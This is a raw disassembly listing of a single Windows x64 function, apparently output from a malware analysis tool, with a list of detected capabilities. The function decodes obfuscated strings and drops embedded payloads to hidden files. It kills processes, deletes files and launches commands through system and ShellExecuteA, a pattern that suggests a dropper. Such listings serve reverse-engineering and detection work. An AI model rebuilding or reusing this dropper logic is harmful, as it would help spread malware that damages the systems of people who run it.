Function at 0x140080540
Capabilities:
Create directory
Create process on windows
Delete file
Execute command
Move file
Set file attributes
Terminate process
Write and execute a file
Write file on windows

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x388]
sub rsp, 0x480
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
mov rax, qword [0x1402f1010]
xor rax, rsp
mov qword [rbp + 0x370], rax
call fcn.14007d8c0
mov dword [rbp - 0x18], 0x87f48584
mov word [rbp - 0x14], 0x100
lea rcx, [rbp - 0x18]
call fcn.14007ce70
lea r8, [0x14067a390]
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0xd0]
call fcn.14007d100
cmp qword [rax + 0x18], 0x10
jb 0x1400805b7
mov rax, qword [rax]
xor r14d, r14d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r14 + 2]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x14067cd20], rax
lea rcx, [rbp + 0xd0]
call fcn.14007b4c0
nop
cmp qword [0x14067cd20], 0xffffffffffffffff
jne 0x140081436
lea rsi, [r14 - 1]
cmp byte [0x14067cd08], r14b
jne 0x140080703
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x2e8ba2e9
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xb
sub r8d, ecx
mov eax, r8d
cdq
xor eax, edx
sub eax, edx
lea edx, [rax + 5]
lea rcx, [rsp + 0x40]
call fcn.140080190
mov rdx, rax
lea rcx, [0x14067a470]
call fcn.14007c010
nop
lea rcx, [rsp + 0x40]
call fcn.14007b4c0
nop
mov dword [rsp + 0x40], 0xbea2bcf6
mov word [rsp + 0x44], 0x100
lea rcx, [rsp + 0x40]
call fcn.14007ce70
lea rax, [rsp + 0x40]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140080685
lea rdx, [rsp + 0x40]
lea rcx, [0x14067a470]
call fcn.14007b840
lea rbx, [0x14067a470]
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rbx, qword [0x14067a470]
mov r8d, 0x104
lea rdx, [rbp + 0x150]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x40]
call fcn.14007b520
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rcx, qword [rsp + 0x40]
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
nop
lea rcx, [rsp + 0x40]
call fcn.14007b4c0
nop
mov dword [rsp + 0x40], 0xb88f9e98
mov dword [rsp + 0x44], 0x8289a9ac
mov dword [rsp + 0x48], 0x9d81cd87
mov word [rsp + 0x4c], 0x83
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x40]
call fcn.1400843b0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.14007b520
mov rcx, rax
call fcn.14007d9f0
test eax, eax
je 0x140080801
mov ecx, reloc.WS2_32.dll_inet_ntoa
call fcn.1400804d0
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [0x1402d5e50]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x1402d5c70]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [0x1402d5960]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x1402d5bd0]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x1402d5b10]
movdqa xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x30], 4
mov byte [rbp - 0x2e], 1
lea rcx, [rbp - 0x80]
call fcn.1400840e0
lea rdx, [rbp - 0x80]
mov rcx, rbx
call fcn.14007b910
lea rdx, [0x14007bae0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0x40], 0xaea9baaa
mov word [rsp + 0x44], 0xbb
mov byte [rsp + 0x46], 1
lea rcx, [rsp + 0x40]
call fcn.140084260
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor al, al
jmp 0x140081438
movdqa xmm0, xmmword [0x1402d5cc0]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x50], reloc.WLDAP32.dll_Ordinal_143
mov byte [rsp + 0x52], 1
lea rcx, [rsp + 0x40]
call fcn.140084320
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.14007b520
mov rcx, rax
call fcn.14007d9f0
test eax, eax
je 0x1400808b2
mov ecx, reloc.WS2_32.dll_inet_ntoa
call fcn.1400804d0
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [0x1402d5e40]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x1402d5be0]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [0x1402d5b40]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x1402d5ba0]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x1402d5a80]
movdqa xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x30], 0x48484a45
mov dword [rbp - 0x2c], 0x100015c
lea rcx, [rbp - 0x80]
call fcn.1400840b0
lea rdx, [rbp - 0x80]
jmp 0x1400807b9
movdqa xmm0, xmmword [0x1402d5d90]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0xc3898883
mov dword [rsp + 0x54], 0x95978b
mov byte [rsp + 0x58], 1
lea rcx, [rsp + 0x40]
call fcn.140084110
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.14007b520
mov rcx, rax
call fcn.14007d9f0
test eax, eax
je 0x140080924
mov r8d, eax
mov edx, 1
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x40], 0xb8989a9f
mov dword [rsp + 0x44], 0x8e94b4ad
mov dword [rsp + 0x48], 0x9d81cd92
mov word [rsp + 0x4c], 0x83
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x40]
call fcn.1400843b0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.14007b520
mov rcx, rax
call fcn.14007d9f0
test eax, eax
je 0x140080997
mov r8d, eax
mov edx, 1
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x40], 0x100e199
lea rcx, [rsp + 0x40]
call fcn.140084170
lea rax, [rsp + 0x40]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1400809b1
lea rdx, [rsp + 0x40]
lea rdi, [0x140679ed0]
mov rcx, rdi
call fcn.14007b840
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov ebx, 0xa
call fcn.140080390
movzx edx, al
lea rcx, [0x140679ff0]
call fcn.14007b6a0
call fcn.140080390
movzx edx, al
lea rcx, [0x14067a3f0]
call fcn.14007b6a0
call fcn.140080390
movzx edx, al
lea rcx, [0x140679c90]
call fcn.14007b6a0
call fcn.140080390
movzx edx, al
lea rcx, [0x140679c70]
call fcn.14007b6a0
call fcn.140080390
movzx edx, al
lea rcx, [0x140679db0]
call fcn.14007b6a0
call fcn.140080390
movzx edx, al
lea rcx, [0x14067a1d0]
call fcn.14007b6a0
call fcn.140080390
movzx edx, al
lea rcx, [0x14067a190]
call fcn.14007b6a0
call fcn.140080390
movzx edx, al
lea rcx, [0x14067a010]
call fcn.14007b6a0
call fcn.140080390
movzx edx, al
lea rcx, [0x14067a310]
call fcn.14007b6a0
call fcn.140080390
movzx edx, al
lea rcx, [0x140679e50]
call fcn.14007b6a0
call fcn.140080390
movzx edx, al
lea rcx, [0x14067a330]
call fcn.14007b6a0
sub rbx, 1
jne 0x1400809e5
lea rcx, [rbp + 0x110]
call fcn.14007bfe0
lea rcx, [rbp + 0x110]
call fcn.14007b680
nop
lea rcx, [rbp + 0x130]
call fcn.14007bfe0
lea rcx, [rbp + 0x130]
call fcn.14007b680
nop
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x2aaaaaab
imul r8d
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*2]
add ecx, ecx
sub r8d, ecx
mov eax, r8d
cdq
xor eax, edx
sub eax, edx
lea edx, [rax + 5]
lea rcx, [rsp + 0x60]
call fcn.140080190
mov rdx, rax
lea rcx, [rbp + 0x110]
call fcn.14007c010
nop
lea rcx, [rsp + 0x60]
call fcn.14007b4c0
nop
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
sub r8d, ecx
mov eax, r8d
cdq
xor eax, edx
sub eax, edx
lea edx, [rax + 2]
lea rcx, [rsp + 0x60]
call fcn.140080290
mov rdx, rax
lea rcx, [rbp + 0x130]
call fcn.14007c010
nop
lea rcx, [rsp + 0x60]
call fcn.14007b4c0
nop
mov word [rsp + 0x40], Ordinal_143
mov byte [rsp + 0x42], 1
lea rcx, [rsp + 0x40]
call fcn.14007b3b0
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140080bc0
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.14007b840
movzx eax, byte [0x14067cd08]
test al, al
jne 0x140080bfa
lea rdx, [rbp + 0x110]
mov rcx, rdi
call fcn.14007b4a0
lea rdx, [rbp + 0x130]
jmp 0x140080c05
cmp al, 1
jne 0x140080c0d
lea rdx, [0x140679cd0]
mov rcx, rdi
call fcn.14007b4a0
mov rcx, rdi
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rcx, qword [0x140679ed0]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
mov rcx, rdi
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rcx, qword [0x140679ed0]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov word [rsp + 0x40], Ordinal_143
mov byte [rsp + 0x42], 1
lea rcx, [rsp + 0x40]
call fcn.14007b3b0
lea rax, [rsp + 0x40]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140080c62
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.14007b840
nop
lea rcx, [rbp + 0xf0]
call fcn.14007bfe0
lea rcx, [rbp + 0xf0]
call fcn.14007b680
nop
lea rdx, [0x14067a330]
lea rcx, [rbp + 0xf0]
call fcn.14007b4a0
mov dword [rsp + 0x40], 0xa8a3aaf6
mov word [rsp + 0x44], 0x100
lea rcx, [rsp + 0x40]
call fcn.14007ce70
lea rax, [rsp + 0x40]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140080cd0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xf0]
call fcn.14007b840
nop
lea rcx, [rbp + 0xb0]
call fcn.14007bfe0
lea rcx, [rbp + 0xb0]
call fcn.14007b680
nop
lea rdx, [0x140679ff0]
lea rcx, [rbp + 0xb0]
call fcn.14007b4a0
mov dword [rsp + 0x40], 0xbea2bcf6
mov word [rsp + 0x44], 0x100
lea rcx, [rsp + 0x40]
call fcn.14007ce70
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140080d40
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xb0]
call fcn.14007b840
lea r8, [rbp + 0xf0]
mov rdx, rdi
lea rcx, [rbp + 0x10]
call fcn.1400853a0
nop
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rcx, qword [rbp + 0x10]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea r8, [rbp + 0xb0]
mov rdx, rdi
lea rcx, [rbp - 0x10]
call fcn.1400853a0
nop
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x8bcecc31
imul r8d
add edx, r8d
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xea61
sub r8d, ecx
mov eax, r8d
cdq
mov edi, eax
xor edi, edx
sub edi, edx
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rcx, qword [rbp + 0x10]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov qword [rsp + 0x20], r14
lea r9, [rbp - 0x18]
lea r8d, [rdi + 0x2ea600]
lea rdx, [0x1402f3a10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rcx, qword [rbp + 0x10]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov qword [rsp + 0x20], r14
lea r9, [rbp - 0x18]
mov r8d, 0x1a400
lea rdx, [0x14065f810]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
nop
lea rcx, [rbp + 0x30]
call fcn.14007bfe0
lea rcx, [rbp + 0x30]
call fcn.14007b680
nop
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x30]
call fcn.14007b4a0
mov word [rsp + 0x40], 0xf5
mov byte [rsp + 0x42], 1
lea rcx, [rsp + 0x40]
call fcn.14007b3b0
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140080f10
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x30]
call fcn.14007b840
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x30]
call fcn.14007b4a0
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae rcx, qword [rbp + 0x30]
call fcn.14007d7a0
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0xb0]
lea rcx, [rsp + 0x60]
call fcn.14007b560
mov rcx, rax
call fcn.14007d9f0
mov rbx, rax
test eax, eax
je 0x140080fb1
mov r8d, ebx
mov edx, 1
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
lea rcx, [rbp + 0x50]
call fcn.14007bfe0
lea rcx, [rbp + 0x50]
call fcn.14007b680
nop
mov dword [rsp + 0x40], 0xbbf7b5a6
mov dword [rsp + 0x44], 0xa8babfab
mov dword [rsp + 0x48], 0x100feb8
lea rcx, [rsp + 0x40]
call fcn.14007b1a0
lea rax, [rsp + 0x40]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140080ff0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x50]
call fcn.14007b840
lea rdx, [0x14067a390]
lea rcx, [rbp + 0x50]
call fcn.14007b4a0
mov dword [rsp + 0x40], 0xb6beb4f5
mov dword [rsp + 0x44], 0xb4afbba9
mov dword [rsp + 0x48], 0x100fee0
lea rcx, [rsp + 0x40]
call fcn.14007b1a0
lea rax, [rsp + 0x40]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140081042
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x50]
call fcn.14007b840
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x50]
call fcn.14007b4a0
mov dword [rsp + 0x40], 0xada5affa
mov dword [rsp + 0x44], 0x8ac0e2bb
mov dword [rsp + 0x48], 0x808a9187
mov word [rsp + 0x4c], Ordinal_143
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x40]
call fcn.1400843b0
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400810a0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x50]
call fcn.14007b840
mov dword [rsp + 0x40], 0xabf7b5a6
mov dword [rsp + 0x44], 0xfcabb5ad
mov dword [rsp + 0x48], 0x85bcbfbb
mov dword [rsp + 0x4c], 0x1009688
lea rcx, [rsp + 0x40]
call fcn.14007b3c0
lea rcx, [rsp + 0x40]
call fcn.14007d7a0
movdqa xmm0, xmmword [0x1402d5d40]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x50], 0x100
lea rcx, [rsp + 0x40]
call fcn.140084410
lea rcx, [rsp + 0x40]
call fcn.14007d7a0
mov dword [rsp + 0x40], 0xaefcb8a9
mov dword [rsp + 0x44], 0xc190b0aa
mov dword [rsp + 0x48], 0x8f8494
mov byte [rsp + 0x4c], 1
lea rcx, [rsp + 0x40]
call fcn.1400842c0
lea rcx, [rsp + 0x40]
call fcn.14007d7a0
mov dword [rsp + 0x40], 0xb9fcb8a9
mov dword [rsp + 0x44], 0x9585b3bb
mov dword [rsp + 0x48], 0x8292c387
mov word [rsp + 0x4c], Ordinal_143
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x40]
call fcn.1400843b0
lea rcx, [rsp + 0x40]
call fcn.14007d7a0
nop
lea rcx, [rbp + 0x70]
call fcn.14007bfe0
lea rcx, [rbp + 0x70]
call fcn.14007b680
nop
mov dword [rsp + 0x40], 0xaefcb8a9
mov dword [rsp + 0x44], 0xc190b0aa
mov word [rsp + 0x48], 0x100
lea rcx, [rsp + 0x40]
call fcn.1400843e0
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400811c0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x70]
call fcn.14007b840
lea rdx, [0x14067a390]
lea rcx, [rbp + 0x70]
call fcn.14007b4a0
nop
lea rcx, [rbp + 0x90]
call fcn.14007bfe0
lea rcx, [rbp + 0x90]
call fcn.14007b680
nop
mov dword [rsp + 0x40], 0xbcf7b5a6
mov dword [rsp + 0x44], 0xa8beb6bc
mov dword [rsp + 0x48], 0x100feb8
lea rcx, [rsp + 0x40]
call fcn.14007b1a0
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140081230
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x90]
call fcn.14007b840
lea rdx, [0x14067a390]
lea rcx, [rbp + 0x90]
call fcn.14007b4a0
nop
lea rcx, [rbp + 0xd0]
call fcn.14007bfe0
lea rcx, [rbp + 0xd0]
call fcn.14007b680
nop
mov dword [rsp + 0x40], 0xabf7b5a6
mov dword [rsp + 0x44], 0xa8a9bbad
mov word [rsp + 0x48], 0xfd
mov byte [rsp + 0x4a], 1
lea rcx, [rsp + 0x40]
call fcn.14007b3f0
lea rax, [rsp + 0x40]
inc rsi
cmp byte [rax + rsi], 0
jne 0x1400812a3
mov r8, rsi
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xd0]
call fcn.14007b840
lea rdx, [0x14067a390]
lea rcx, [rbp + 0xd0]
call fcn.14007b4a0
lea rcx, [rbp + 0x70]
cmp qword [rbp + 0x88], 0x10
cmovae rcx, qword [rbp + 0x70]
call fcn.14007d7a0
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0x10
cmovae rcx, qword [rbp + 0x90]
call fcn.14007d7a0
lea rcx, [rbp + 0x10]
call fcn.14007f680
mov r8d, 0x104
lea rdx, [rbp + 0x260]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, 0x5c
lea rcx, [rbp + 0x260]
call qword [sym.imp.VCRUNTIME140.dll_strrchr]
inc rax
mov qword [0x14067cce0], rax
mov r8d, ebx
mov edx, 1
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, Ordinal_301
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, ebx
mov edx, 1
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movzx eax, byte [0x14067cd08]
cmp al, 1
jne 0x1400813d8
mov rbx, qword [0x14067cce0]
jmp 0x1400813eb
test al, al
jne 0x140081422
lea rcx, [0x14067a470]
call fcn.14007b490
mov rbx, rax
mov dword [rsp + 0x40], 0xb5bfa9b7
mov word [rsp + 0x44], 0x100
lea rcx, [rsp + 0x40]
call fcn.14007ce40
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov al, 1
mov rcx, qword [rbp + 0x370]
xor rcx, rsp
call fcn.140086810
lea r11, [rsp + 0x480]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret